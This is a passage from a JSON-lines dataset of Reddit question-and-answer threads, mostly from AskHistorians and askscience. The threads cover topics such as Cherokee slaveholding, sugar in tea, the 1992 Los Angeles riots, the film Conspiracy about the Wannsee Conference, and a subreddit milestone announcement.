farming without actually working the fields directly. One solution to this problem was to allow white sharecroppers to work the land for them. Another was to buy black slaves. Slavery wasn't unknown to the Cherokee prior to arrival of Europeans, but indigenous slavery was neither race-based nor hereditary. After a boom in the indigenous slave trade in the early 1700s, but the mid-1700s it was being phased out (not for particularly humanitarian reasons - mainly because the slavery wars had so thoroughly reshaped the demographics of the region that there wasn't anyone left that could easily be enslaved). Unfortunate the particular brand of \"civilization\" being pushed by Euroamericans did include racial, hereditary slavery and it did become popular among a minority of Cherokee, with only 209 Cherokee owning about 1600 slaves in 1835.\n\nThis minority was mostly composed of acculturated Cherokee with a recent Euroamerican ancestor (usually a father or grandfather). But not all mixed-race Cherokee were slave owners by any measure. At the time of Removal, about a quarter of the Cherokee Nation's citizens had mixed ancestry. Not-entirely-coincidentally, this was same proportion that had adopted Christianity. It's not an exact 1:1 match, but it was close. Missionaries had a much easier time with mixed-race families since 1) one parent was generally a Christian to begin with - if not both and 2) these families tended to live in more easily accessible areas of the Cherokee Nation.\n\nI recommend checking out Theda Perdue's [Cherokee Women](_URL_0_) for a relatively quick overview of the cultural transformation that took place among the Cherokee leading up to Removal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=HNR6RcvCJ8MC"]]}
{"q_id": "2gl9tv", "title": "What motivated the Church to launch the crusading movement?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2gl9tv/what_motivated_the_church_to_launch_the_crusading/", "answers": {"a_id": ["ckk8vkx", "ckkbx60", "ckkd0pj"], "score": [5, 2, 2], "text": ["Asking for someone to do your homework won't result in any help bro", "Since you're in college, why don't you lay off the sense of entitlement/laziness and learn about it yourself? You're there for a reason, and I doubt it's to copy other people's work and present it as your own.", "I'm sorry, but your question has been removed because it is a homework question. It says in our [rules](_URL_0_): Our users aren't here to do your homework for you, but they might be willing to help. Remember: AskHistorians helps those who help themselves. Don't just give us your essay/assignment topic and ask us for ideas. Do some research of your own, then come to us with questions about what you've learned. This is explained further in this [META](_URL_1_) thread. You can also consider asking the helpful people at /r/HomeworkHelp."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_homework", "http://www.reddit.com/r/AskHistorians/comments/y7f8f/meta_schools_in_a_brief_reminder_of_our_homework/"]]}
{"q_id": "4c1u00", "title": "Where/when did the convention of taking sugar with coffee and tea originate from? The Chinese don't typically take sugar with their tea, and the Muslims that introduced coffee didn't either. Sugar isn't even native to Europe.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4c1u00/wherewhen_did_the_convention_of_taking_sugar_with/", "answers": {"a_id": ["d1enoa3", "d1evnsy", "d1f0r2v"], "score": [221, 22, 10], "text": ["The classic book on the topic is Sydney Mintz's *Sweetness and Power*, written a few decades back.  It's a great read, if a bit dense.  (Mintz is actually an anthropologist). \n\nShort answer:  it's complicated. \n\nLong answer:  Mintz offers five chapters, including one on Food Culture (sugar was originally a preservative, and a status symbol of the aristocracy), Production (sugar production used slavery and proto-industrial methods to make sugar cheap), Consumption (the cheaper sugar got, the more people could consume it, and the more they demanded it, in a sort of feedback loop),  Power (sugar's role in social class roles and the factory system), etc. \n\nIt's really hard to distill all of his great arguments, which include the evolution of culture and taste... \n\nSo here's one cool side-point:    coffee  &  tea are both caffeinated, and sugar is caloric.  When you put sugar in tea, it reduces the bitterness, allowing it to be drunk more quickly.  As the modern industrial system emerged, factory workers needed:   \n\n-a break (though employers needed those breaks short--no more than 10 minutes)\n\n-energy\n\n-calories\n\nSo tea with sugar became the perfect addition to the modern factory system:   you could drink it quickly (because of the sugar), got a bump from the caffein (and the sugar itself), got calories to continue... it was the perfect trifecta.  Then it worked its way into English culture, and from there became linked to identity.  ", "Any source for the claim that \"the Muslims\" didn't use sugar either? In Iran at least almost all tea is drank with sugar. Anyone have any info on the history of sugar in West and South Asia?", "Follow-up question: When and why did milk start getting added to tea?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "72t16y", "title": "What's the significance of this narrow stretch of land in China?", "selftext": "While looking at various maps of some Chinese dynasties and geographic distribution of Chinese languages, I noticed that there's this narrow stretch of territory in the north-central-ish part of China that keeps appearing on these maps, as in the following images (all taken from Wikipedia):\n\n* [Han Dynasty map](_URL_2_)\n\n* [Tang Dynasty map](_URL_1_)\n\n* [Language distribution map](_URL_0_)\n\nWhat's up with this? Why did these dynasties expand their territory in this narrow stretch of land, while seemingly ignoring the land to the north and south of it? And how come Mandarin seems to be distributed along this stretch of land too (but not to the north/south of it)?  \n  ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/72t16y/whats_the_significance_of_this_narrow_stretch_of/", "answers": {"a_id": ["dnl11ht", "dnl4riu"], "score": [18, 49], "text": ["This have been answered a few times before. Check this one by /u/AshkenazeeYankee\n\n_URL_0_", "Geography, geography, geography.\n\nThe Tibetan Plateau sits to the southwest of that area, the Great Wall, Gobi Desert, Mongolians, and Muslim Uighurs  are to the northeast, and the Silk Road runs right up that corridor. Without that area, the eastern dynasties would not have had control of the main trade route to Central Asia, India, and on to Europe. How much control they actually had is a matter of debate - the region is far from the eastern capitals, it's surrounded by hostile folks and, even to this day, the Chinese government has yet to truly pacify and incorporate the Uighur and Tibetan people into broader China."]}, "title_urls": [], "selftext_urls": ["https://imgur.com/Oy5gjy7", "https://imgur.com/9GfR7yJ", "https://imgur.com/IRtAHOe"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3jefvs/why_did_the_western_borders_of_tang_china_jut_out/"], []]}
{"q_id": "8gt27j", "title": "If \u03c0 is defined as the ratio of a circle's circumference to its diameter, do aliens who live in a curved spacetime region have another value for \u03c0?", "selftext": "I know it is actually defined in Euclidean space but is there any reason why aliens in curved spacetime region would prefer that definition over their own space with it's own metric?\n\nIt also plays an important role in many fields of mathematics other than geometry (for example Fourier transformation), so how can aliens advance in mathematics if they have their own interpretation of \u03c0?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8gt27j/if_\u03c0_is_defined_as_the_ratio_of_a_circles/", "answers": {"a_id": ["dyf00fz"], "score": [11], "text": ["You don't need pi for the Fourier Transform. The appearance of pi in it is because of the geometry of the underlying space that we work with.  There is a [very general notion of Fourier Transform](_URL_0_) that works in very weird spaces.\n\nIt also wouldn't be an \"different interpretation of pi\", it would just be some other ratio in some other space. We can make these ourselves, and so if we ever met up with the aliens we would just interpret \"their\" pi as some other quantity that we already know about. If you don't use flat geometry, then you just don't use flat geometry, there are ways around this and we already do it all the time, so it isn't really that big of a deal. \n\nThe importance or \"deepness\" of pi is greatly exaggerated. It's just everywhere because it is so basic. Kind of like how nails are everywhere in construction. Not because they're a sophisticated piece of construction technology, their just super basic and easy to use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Pontryagin_duality#Pontryagin_duality_and_the_Fourier_transform"]]}
{"q_id": "2ncnpt", "title": "Why were Korean-Americans targeted during the 1992 Los Angeles riots?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ncnpt/why_were_koreanamericans_targeted_during_the_1992/", "answers": {"a_id": ["cmcmofw", "cmcx6k2"], "score": [45, 2], "text": ["(**edit 2:** I wrote this late at night right before going to bed. Any oversights were not intentional but just a result of being very tired and trying to keep things short. Please see /u/EvanRWT's reply for additional information regarding the riots.)\n\nThe following is from a [1992 article in the New York Times](_URL_1_) from when it was happening:\n\n > In the South-Central area, where Korean shops have become the object of resentment even as they provide what is often the only retail service to residents\n\nand\n\n > Lawrence Aubry, a member of the Los Angeles County Human Relations Commission, said Korean merchants had become a lightning rod for the discontent of some black residents. Many blacks in Los Angeles have remained poor as, one after another, immigrant groups have arrived and climbed past them to prosperity.\n\n > \"It's illogical, but it's convenient to target the Koreans,\" he said.\n\nIt stands to reason that the Los Angeles County Human Relations Commission would have some idea about the situation, and his assessment can probably be taken as accurate for that reason. \n\nKoreans has been moving into the area since the 1950s and there was a fair amount of resentment built up over the years. The situation was tense enough to motivate the creation of the Korean American Alliance, aka the Koreatown Immigrant Workers Alliance. The following is from their own website regarding the reasons for their creation:\n\n > KIWA was created in 1992 just two months before the Los Angeles Civil Unrest, often considered the nation\u2019s first multi-racial riot. In a city torn with racism, poverty, and inequality, KIWA started with the mission to address the worker exploitation rampant in the Koreatown community among both Korean and Latino workers, and committed to struggling in solidarity with other communities for a more just Los Angeles for all.\n\n(**edit:** As /u/CouldBeBetterForever and /u/ParkSungJun mentioned, the 1991 shooting of [Latasha Harlins](_URL_2_) just a year before by a Korean shop owner was also a *significant* contributing factor to tensions between the two groups, which I should have mentioned initially but didn't. Thanks to them for the reminder.)\n\nOf course, there have been other interpretations. One such example is from a 1998 study by Albert Bergesen and Max Herman (cited below) which suggests that the simple succession from one race to another is itself enough to foment rioting. That is to say that the very fact that there was such a succession would itself have pushed the community toward violence even in lieu of a flashpoint like the verdict. That said, there has been *considerable* sociological work on the topic of the 1992 riots specifically and on racial tensions in urban environments more generally which isn't really summarisable here. \n\n**tl;dr:** Tensions has been rising between the different ethnic groups in the area for some time before the riots. The riots was just the point at which these tensions boiled over.\n\n- - -\n\n* Immigration, Race, and Riot: The 1992 Los Angeles Uprising. Albert Bergesen and Max Herman. American Sociological Review. Vol. 63, No. 1 (Feb., 1998), pp. 39-54\n\n- - -\n\n**edit:** There's also an [interesting retrospective on _URL_0_](_URL_3_), which includes video interviews, if you're interested in the history as well as how people dealt with it after the fact. It was a pretty major even (obviously) and it really extends well beyond April of that year.", "This is a copy and past from a previous question about the asker's [perception that other races have succeeded more than blacks](_URL_2_). It's relevant because it touches on one of the underlying causes of tension between blacks and korean immigrants at the time.\n\n > If we are talking more recently then a big difference between blacks and other racial groups entering the US is that most did it by choice. It might have been a choice between coming to the US or starving in some cases, but they weren't severed from their previous life for generations against their will. Blacks were. Blacks had no connection with their former life, so they had no financial support, no one to write to for advice, no anything. If we take a more recent example from Korean-American immigrants they have a network of financial support and a strong sense of community. This was a contributing factor in the [1992 LA riots](_URL_0_) . People saw Koreans and other Asians moving into the area and buying businesses from locals and it caused a lot of tension. Koreans were [borrowing money from other immigrants](_URL_1_) to get the money that banks wouldn't loan them. I'm not aware of any such support networks in black communities, which could lead to greater financial struggles which in turn could even increase poverty in black communities as other immigrants move into the businesses that would otherwise be run by black people.\n\nThere are other more immediate contributing factors that preceded the riots but I believe this is also relevant to the underlying tension. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["blog.reuters.com", "http://www.nytimes.com/1992/05/03/us/riot-los-angles-pocket-tension-target-rioters-koreatown-bitter-armed-determined.html", "http://www.nytimes.com/1991/03/22/us/merchant-charged-in-girl-s-fatal-shooting.html", "http://blogs.reuters.com/photographers-blog/2012/05/05/los-angeles-home-sweet-home/"], ["http://en.wikipedia.org/wiki/1992_Los_Angeles_riots#Riots_and_Korean-Americans", "http://articles.latimes.com/1988-10-30/local/me-891_1_loan-club", "http://www.reddit.com/r/AskHistorians/comments/2gy4rd/i_just_read_the_new_jim_crow_im_wondering_why_all/"]]}
{"q_id": "4ugpp1", "title": "Is there a particular reason why Australians haven't expanded further into the outback?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ugpp1/is_there_a_particular_reason_why_australians/", "answers": {"a_id": ["d5po4e0"], "score": [14], "text": ["The areas that were closely settled mostly depended on the climate and soil. At one extreme western Tasmania is too cold and wet, with the soils in the valleys being infertile glacial silt. Thus all attempts to settle and farm in the area failed and the few towns that still exist depend on mining or tourism.\n\nAt the other extreme is the area between Port Augusta and Lake Eyre in South Australia. During a decade of unusually high rainfall it was settled, farms were established, roads and railways were built. But this was followed by decades of lower rainfall which combined with the rather infertile soil, led to the whole region being abandoned to become an area of dispersed grazing.\n\nThe far north of Australia is a similar story. For 150 years attempts have been made to farm there, often with generous government backing by building infrastructure such as dams and roads. But outside a few isolated areas, nothing has worked.\n\nBut where conditions were right, the opportunity to settle and intensively farm was quickly grasped. Southern and north-eastern Victoria was first settled by Tasmanians looking for new land once the non mountainous areas of their island with good soil had been settled. Within a few years, vast areas of the fertile, well watered land with volcanic soil had been occupied, initially for grazing, but later for intense farming. But (as a broad generalisation) beyond 100 miles north of Melbourne or west of Sydney the good land degenerates into savannah - prairie which is only good for growing grain and another 100 miles out it further degenerates into semi-arid land only suitable for dispersed grazing.\n\nIn summary, the outback was never closely settled because it is incapable of sustaining farming due to a hot, dry climate with infertile soil."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "23om9c", "title": "I learned your body has a limit to how much protein it can process, and the surplus is pooped out. Are there similar limits for other nutrients when you eat?", "selftext": "Basically what I'm asking is when a person eats a huge meal, is there a \"plateau\" of what the body absorbs before it starts to send things straight to the toilet without the body absorbing it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23om9c/i_learned_your_body_has_a_limit_to_how_much/", "answers": {"a_id": ["cgz399a", "cgz3ht0"], "score": [3, 3], "text": ["First, your body isn't a perfectly efficient digester. Some of the nutrients you take in will always be excreted. Second, \"nutrients\" is a big, broad category. There are macronutrients, like fats, starches, and proteins, and micronutrients, which are specific vitamins and minerals.\n\nWith respect to vitamins, how much you can absorb and store is related to the solubility of the molecule. Vitamins are either water-soluble or fat-soluble. Vitamins that are water-soluble, like Vitamin C, are not stored in the body and are peed out. You could ingest gobs of Vitamin C, but if your body has enough, it's going to pee out the excess. Fat-soluble vitamins, like Vitamin E, can be stored in fat-deposits in the body, and are therefore available for your body to use after consumption. Because they are stored in the body, there is a greater chance of hypervitaminosis with these vitamins.\n\nThe wikipedia page on vitamins has a [table that shows how much your body can absorb](_URL_0_).\n\n\n\n", "I'm not equipped to answer your question, but I want to address your initial assumption that your body has a limit to the amount of protein it can process, and that the rest is excreted. It's not true. The folks at _URL_0_ have addressed that thoroughly in [this](_URL_1_) article. \n\nThe TL;DR is that while your body can only process so much protein at any given moment, the body is very capable of storing the food you eat in the intestines while it waits to digest the rest. Your body is very efficient at extracting the nutrients you give it.\n\nEdit: To be thorough, the article states that there hasn't been much research into the question of the absolute maximum amount of protein that can be absorbed, but from the available data, it would likely be more than you'd eat in a day. Even if you ate all the protein you were going to eat today in one sitting, you'd still likely absorb basically all of it, so the answer to the question of maximal protein intake isn't of much practical concern."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Vitamin#List_of_vitamins"], ["Examine.com", "http://examine.com/faq/how-much-protein-can-i-eat-in-one-sitting.html"]]}
{"q_id": "8pi3go", "title": "Can anyone recommend any resources for getting better at paleography?", "selftext": "Hi team,\n\nI'm working on some 17th Century manuscripts (in English) and I'm having a really hard time orienting myself (and, let's be honest, deciphering the fucking handwriting). Does anyone know of any good resources to get started on this?\n\nI've found a few things, but I'm wondering if there's anything better I could consult?\n\nHere are the things I got so far:\n\n[National Archives Paleography tutorial](_URL_0_)\n\n[BYU Script Tutorial](_URL_1_)\n\n[Harvard How to Read Medieval Writing tutorial](_URL_2_)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8pi3go/can_anyone_recommend_any_resources_for_getting/", "answers": {"a_id": ["e0bgvm2", "e0co5n2"], "score": [3, 2], "text": ["Stick in there, it gets easier with practice! Once you start to recognise how the characters are written and get used to the extraordinary ways that 17th Century writers found to spell things wrong it becomes a lot easier. \n\nOne resource I always found very useful was the Cambridge University [alphabet](_URL_1_) guide, which has examples of alphabets and individual letters. If you're not sure on a letter you can click on it and see a collection of different examples of the way the letter has been written. They also have a list of manuscripts of increasing difficulty [here](_URL_0_) that you can practice transcribing.", "Hope you dont mind me jumping in.  I am a full time calligrapher and a study of scripts is closely tied to the job.  There are three books that are invaluable to any calligraphers study of the scripts.\n\nHistorical Scripts From Classical Times to the Renaissance, Stan Knight, ISBN 978-1-884718-56-4\n\nA Guide to Western Historical Scripts from Antiquity to 1600, Michelle P. Brown,ISBN 0-8020-7206-2\n\nThe Historical Source Book for Scribes, Michelle P Brown and Patricia Lovett,ISBN 0-7123-4618\n\nWe tend to look at the letters slightly different as some stroke movements make sense when done with a pen, especially with a quill on vellum.  \n\nIF there are any questions, feel free to let me know.   "]}, "title_urls": [], "selftext_urls": ["http://www.nationalarchives.gov.uk/palaeography/", "https://script.byu.edu/Pages/home.aspx", "https://chaucer.fas.harvard.edu/how-read-medieval-handwriting-paleography"], "answers_urls": [["http://www.english.cam.ac.uk/ceres/ehoc/lessons.html", "http://www.english.cam.ac.uk/ceres/ehoc/alphabets.html"], []]}
{"q_id": "44ovld", "title": "How can gravity be both a curvature in space time and a boson-carried force?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/44ovld/how_can_gravity_be_both_a_curvature_in_space_time/", "answers": {"a_id": ["czrtd9a", "czs218e"], "score": [25, 2], "text": ["It's a different formulation. If you start with the quantum model of a massless spin-2 particle, the classical limit will give you the exact same equations as Einstein's geometric model. You can find some older general relativity textbooks which take this approach by Feynman and Weinberg; Weinberg actually calls the geometric formulation a coincidence. However, the quantum model breaks down at high energies, so even though gravity looks like massless spin-2 particles (which become identical to GR with small quantum corrections) at low energies, we're still looking for a correct description which holds everywhere.", "Hijacking a bit to hopefully get some clarification on my understanding of this.\n\nI thought it was just that gravity can be modelled as a curvature of spacetime, not that it necessarily actually bends spacetime. Gravity can alternatively be modelled as a boson-carried force, even though that's not necessarily exactly what happens either. It's like one theory is a circle, the other is a rectangle, and they're two different views of a cylinder. Neither is necessarily wrong.\n\nAs a rough analogy for my understanding, it's like how to the sun can be modelled as orbiting around the Earth, and from many basic observations that model works perfectly fine (seeing the Sun move across the sky). Doesn't mean that's what actually happens though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4ru9ys", "title": "How accurate of a depiction is the 2001 film Conspiracy of the Wannsee Conference?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ru9ys/how_accurate_of_a_depiction_is_the_2001_film/", "answers": {"a_id": ["d54hxvp"], "score": [17], "text": ["There are some minor inaccuracies in terms of casting and acting which were likely done for dramatic license. For example, Ian McNeice's scenery-chewing [Gerhard Klopfer](_URL_0_) is far more rotund than the [actual Klopfer](_URL_4_). *Conspiracy*'s porcine Klopfer is an avatar for NSDAP corruption and the overbearing swagger of the party's apparatchiks. The film's portrayal of Heydrich is in line with older historiography of the man as a cipher in which brutality became a means to an end. In an interview with [Tribune News Service](_URL_2_) Branagh explained his performance as Heydrich:\n\n > He was enjoying, it seemed, a craven exercise in absolute power. This is both chilling, it's also very gripping. But to play it is very, very disturbing and unusual -- unusual and unsettling for the actor. . . . It was very disturbing. I suppose you could end up saying he was a fantastically efficient executor of an absolutely extraordinary, awful and desperate plan. But it was very hard to find what was human inside him.   \n\nThis view of Heydrich as the inhuman id of genocide does not really square with the current research both in Heydrich and of the RSHA conducted by the likes of Michael Wildt and Robert Gerwarth (which, to be fair to Branagh, the main works had largely yet to be published). Gerwarth's biography of Heydrich presents the man as who committed genocide but whose chilling public persona was in many respects the creation of a man who had been promoted far beyond what he could have expected; Heydrich, for example, had no police background beyond consuming detective novels, but now was the head of a statewide, and later continent-wide, security agency. \n\nBut the above problems are relatively niggling and minor. The real \"problem\" of *Conspiracy* is that it hews to one particular interpretation of the Conference. Argued quite forcefully by the likes of [Christian Gerlach-pdf warning](_URL_1_), this historiographical interpretation of the Conference contends that the coded language employed by the Conference was a euphemism for immediate murder. The film's title and the dialogue's repeated reminders of the importance of words and their meaning underscores an interpretation of the Conference in which it was a Rubicon in which mass genocide on a continent-wide scale was accepted. Screenwriter Loring Mandel's scriptnotes observes that the idea of gassing floated at the Conference represented \"the crossing of some previously accepted moral boundary.\" References to the *Einsatzgruppen* mass shootings, disease in the Polish ghettos, and mentions of Auschwitz all point to gas chambers and industrial genocide as the logical terminus of German Jewish policy. Postwar testimony, especially Eichmann's trial, added further weight to this interpretation and such a view of the Conference does lend itself narrative force. The result is that the film has a true villain, the SS heads, who want to cut the Gordian knot and be done with the Jewish problem once and for all.  \n\nThis is not the only interpretation of the Conference though. *Pace* Gerlach, historians like Saul Friedl\u00e4nder and Peter Longerich have contended that the Conference's vision of a Jew-free Europe was not as nearly as comprehensive nor as ambitious in scope. Longerich argues that genocide was more open-ended and that while industrial mass murder was considered, it was more limited to the Jews of the General Government. Himmler and the RSHA were still floating ideas after the Conference of using European Jews as a mass labor force where they would be worked to death. Subsequent ministerial meetings on the status of *Mischlinge* individuals further support this interpretation that the Conference was far less decisive for German policy than popular memory holds it. The importance of the Conference in the larger scheme of the Holocaust according to these historians was not that it was the place where systematic genocide was decided, but rather the SS both cemented its role for the formulation Jewish policy and received permission from the various state ministries for the deportation of Jews throughout Europe. Both of these achievements were decisive for Jewish policy to evolve into industrial genocide. \n\nNeither of these two interpretations of Wannsee are the final word on the matter, nor can they be. The [surviving minutes](_URL_5_) of the Conference are so tersely edited down that a literal reading of them does not reveal much about German policy beyond they were looking at the total number of European Jews and would evacuate them to the East. Denialists like David Irving have taken a literal interpretation of the minutes to argue that the Conference was much ado about nothing, and while this is pedantic  and lazy nonsense, it does underscore the paucity of detail contained within the minutes themselves. Historians have to look at the broader context of events and evidence outside of the Conference to parse out its wider importance for the evolution of the Holocaust. In interviews for the film, Mandel called his narrative for *Conspiracy* \"informed speculation,\" and in this respect, his efforts are not that dissimilar to how historians analyze a specific event.  The simple fact is we do not know with total certainty what exactly was said in the Conference. The film's  picture of Wilhelm Stuckart is useful to contrast with those of historians. Gerwarth's biography of Heydrich contends that:\n\n > Heydrich's proposals did not encounter much opposition from the other delegates. Stuckart's only concern was that the proposed measures involved \"endless administrative work\". He therefore suggested as an alternative the complete sterilization of the *Mischlinge* population, a suggestion supported by the director of the Race and Settlement Office, Otto Hofmann. \n\nThis is slightly different view of the State Secretary than *Conspiracy*'s view of Stuckart, whose [defense of the Nuremberg Laws](_URL_3_) was more acrimonious and represented the acme of the participants' friction against mass genocide. While Gerwarth's version of events (concern) is squared with Stuckart's later engagement with Himmler over the legal status of the *Mischlinge*, but it is not outside the realm of possibility that Stuckart did express such concerns forcefully during the Conference. \n\nThis sort of creative license inherent to dramatization illustrates one of the greater strengths of *Conspiracy* vis-a-vis the historical record. Loring Mandel's script uses the grey areas and blanks in the past to read between the lines of the Conference's minutes. While the participants of the Conference may not have registered dissent over the SS's ascendancy in the power hierarchy during the Conference, this was a notable source of friction between the SS and other state agencies and the film does dramatize this apprehension that was intrinsic to a polycratic structure like the Third Reich (and this is one area in which *Conspiracy* does a better job than the German film *Die Wannseekonferenz* which paints a much more genial picture of camaraderie between the participants). *Conspiracy* tacks to an interpretation of Wannsee that perhaps makes too much of a case that it was a crystallizing moment in the development of the Holocaust, but the film's \"informed speculation\" is not that far from historians' view of what occurred on 20  January 1942. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ia.media-imdb.com/images/M/MV5BMTcyNTYwODU5NF5BMl5BanBnXkFtZTcwNjIwOTQwNA@@._V1_SX640_SY720_.jpg", "http://www.rci.rutgers.edu/~jewishnb/hrc/mti/wannsee.pdf", "http://articles.orlandosentinel.com/2001-05-10/lifestyle/0105090473_1_heydrich-branagh-nazi-germany", "https://www.youtube.com/watch?v=WKwvA8ns9wo", "https://upload.wikimedia.org/wikipedia/commons/0/04/Bundesarchiv_Bild_119-06-44-12%2C_Gerhard_Klopfer.jpg", "http://avalon.law.yale.edu/imt/wannsee.asp"]]}
{"q_id": "9dm3tu", "title": "given that alcohol is flammable, why is it okay to clean things with alcohol that will later be touched by flame?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dm3tu/eli5_given_that_alcohol_is_flammable_why_is_it/", "answers": {"a_id": ["e5igopc", "e5igpfh", "e5igqr2"], "score": [3, 12, 5], "text": ["Because during the cleaning process, most of the alcohol will be wiped away, and any remaining will quickly evaporate. If there is ANY remaining residue (unlikely), it will be too little to cause any problems.", "Because the alcohol will evaporate long before anyone should be applying flame to that surface.", "Because alcohol evaporates quickly, and burns fast too.\n\nI've washed my hands with alcohol and then accidentally lit them on fire by putting them too close to a flame.  But I only got a minor burn on one finger from the experience (avoid trying this at home)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "15k1fl", "title": "[META] 70,000 subscribers! Time for some changes.", "selftext": "r/AskHistorians now has ***over 70,000 subscribers***!\n\nWe would like to extend a warm welcome to all our new readers (over 5,000 of you in the past few days alone). We hope you\u2019ll find our little subreddit informative and friendly. \n\nAlso, a hearty \u201cWell done!\u201d to all our existing contributors, askers, and readers, for making this such a popular and well-respected subreddit. Your hard work and positive contributions to this subreddit are much appreciated by everyone. Whether you\u2019re sharing historical insights, asking pertinent questions, or even just upvoting good content that you read, you all make this subreddit the excellent community that it is today. Thank you all!\n\nThe moderator team has been working behind the scenes for the past few weeks on some changes to the subreddit, and we think this is an excellent time to release them for you all to use.\n\nWe\u2019ve transferred all our resources [to the new wiki page]( _URL_0_) which was recently released by the reddit admins. You can find the wiki page at any time: it\u2019s in the menu at the top of the page, next to *Hot, New, Controversial, Top, Saved*. We encourage you to take some time to have a look at what\u2019s there. There are some excellent resources there:\n\n* The [rules of this subreddit]( _URL_3_). We\u2019ve taken the rules from the sidebar, and from previous rules threads, and combined them into one cohesive set of rules for this subreddit. If you\u2019re new here, we strongly recommend that you familiarise yourself with these rules. If you\u2019ve been here a while, we suggest that you check them out to refresh your memory.\n\n* Our [popular questions]( _URL_1_). We\u2019ve found examples of questions that have been asked a few times here, and collected them into one place for you to find easily. They\u2019re grouped by category, making it easy to find the questions you want. \n\n* Links [to online historical resources]( _URL_2_), to assist in any research.\n\n* The [official AskHistorians Master Book List]( _URL_4_) (with many thanks to Tiako). There are books here on everything, from the American Civil War and World War I (exhaustively covered by NMW!), to Japanese Samurai and the origins of science in the Western world \u2013 all arranged by geographical region and topic. Happy reading!\n\nWe have also tidied up the sidebar to make it easier to find the things you need.\n\nThe moderator team thanks you all for your ongoing contributions here. Carry on historicising!\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15k1fl/meta_70000_subscribers_time_for_some_changes/", "answers": {"a_id": ["c7n5j8n", "c7n5n8p", "c7n64uw", "c7n676a", "c7n6sf7", "c7n76q8", "c7n7os4", "c7n914i", "c7n94qj", "c7n97tu", "c7n9caz", "c7namhu", "c7nao7e", "c7nauou", "c7navf1", "c7ncw3l", "c7ndqt7", "c7ne70x", "c7ng6yj", "c7nkjoa", "c7ps5zd"], "score": [132, 25, 18, 21, 7, 6, 10, 10, 3, 3, 14, 2, 7, 4, 2, 4, 4, 7, 2, 2, 2], "text": ["I had given up on reditt, but was convinced to give it another try by someone who showed me how to get rid of most of the chaff. They recommended subscribing to this subreddit, among others. I want to thank all the moderators and contributors here for making this an endlessly informative, fascinating, and, (yes)  highly entertaining, place to visit. \n", "The layout of the rules is especially good, simple and short enough that people might actually might bother to read it for a change.", "I just hope this sub maintains its dedication to sources, facts, and history.\n\n", "My one complaint of the book page is the arbitrary separation of Europe and Middle East/North Africa. These two regions have historically been deeply and inextricably linked, at least as much as East Asia and far more than India/Vietnam and the entirety of sub-Saharan Africa. It also leads to certain absurdities of categorization: Why would Greece and Rome be part of European history but not Middle Eastern history?\n\nI don't mean to get too high and mighty here, but the traditional division of the world into West and East is a product and reinforcement of Eurocentric and colonialist attitudes. I understand that this is standard, but as historians our job is not to reinforce traditional modes of thought, particularly when they have led to as much damage as this particular categorization has.\n\nSo I urge that the categories of \"Europe\" and \"Middle East/North Africa\" be merged into \"Western Eurasia\". The fall of Rome in the West makes a convenient division point here that is far more real than the one present here.\n\nBeyond that, thank you for doing the book list in a much more convenient format than it had been earlier. I know from personal experience how much of a pain it can be.", "Just would like to say keep up the good work to the mods, I don't get to participate in this subreddit as much as I would like but it has always been one my favorites and a big part of that is the mod participation.", "I would just like to say a quick thank you to the mods, and everyone that takes time to contribute to this small jewel of a community. I lose myself in thought far too often here!", "Keep up the good work! I'm amazed how the mod team keeps the bullshit down even as the subreddit grows.", "I've been lurking this sub for close to two years now. This is my first post here and I just want to thank the mods for keeping this sub one of the best places in the Internet to spend hours on.", "Thanks for this subreddit, it's amazing. Good modding and relevant posts make me visit the place frequently.", "Thank you mods for all your hard work! It is very much appreciated!", "Awesome changes. but there's one thing:\n\nCan we *please* not call ourselves \"*History Buffs*\" in the sidebar? Not to sound condescending, but that's a title I would give to those amateurs who collect \"interesting\" tidbits and factoids of pseudo-historical information, not people who actually \"do history\", be they amateurs or professionals.", "I really like the fact that /r/askhistorians dropped the idea that history is something that happend up to 20 years ago. History is something for the present, not just facts or happenings that took place up to 20 years ago. Because of that division I felt like this subreddit lacked the idea that history has something important for us now. History is not just something to learn from, but also to helps us understand our own time and possible foresee what might happen in the future. The rules still have a focus on this division, but this change is I believe for the better. \n\n\nNow I hope that this subreddit can focus more on what history really is, namely that history is a story and not so much a summary of facts. Perhaps we should have someone with alot of theoretical insight in history do an AMA. I would like to see this aspect of history, the story-aspect, get more into the daylight.", "I'm new here (a few months) and as a history student this subreddit really helps flesh out essays due to the many different opinions and not to shabby search bar. So thanks guys!", "Like the changes, very nice. ", "Typo in bullet point #4. *geographical ", "Awesome subreddit, nice job mods for actually modding.", "Great, now I spent hours on the frequently asked questions...\n\nMight as well be another one to say that I also love the the subreddit and the moderation. Well done. I won't be posting, since my knowledge is miniscule, but I'll be here.", "Just wanted to say how much I 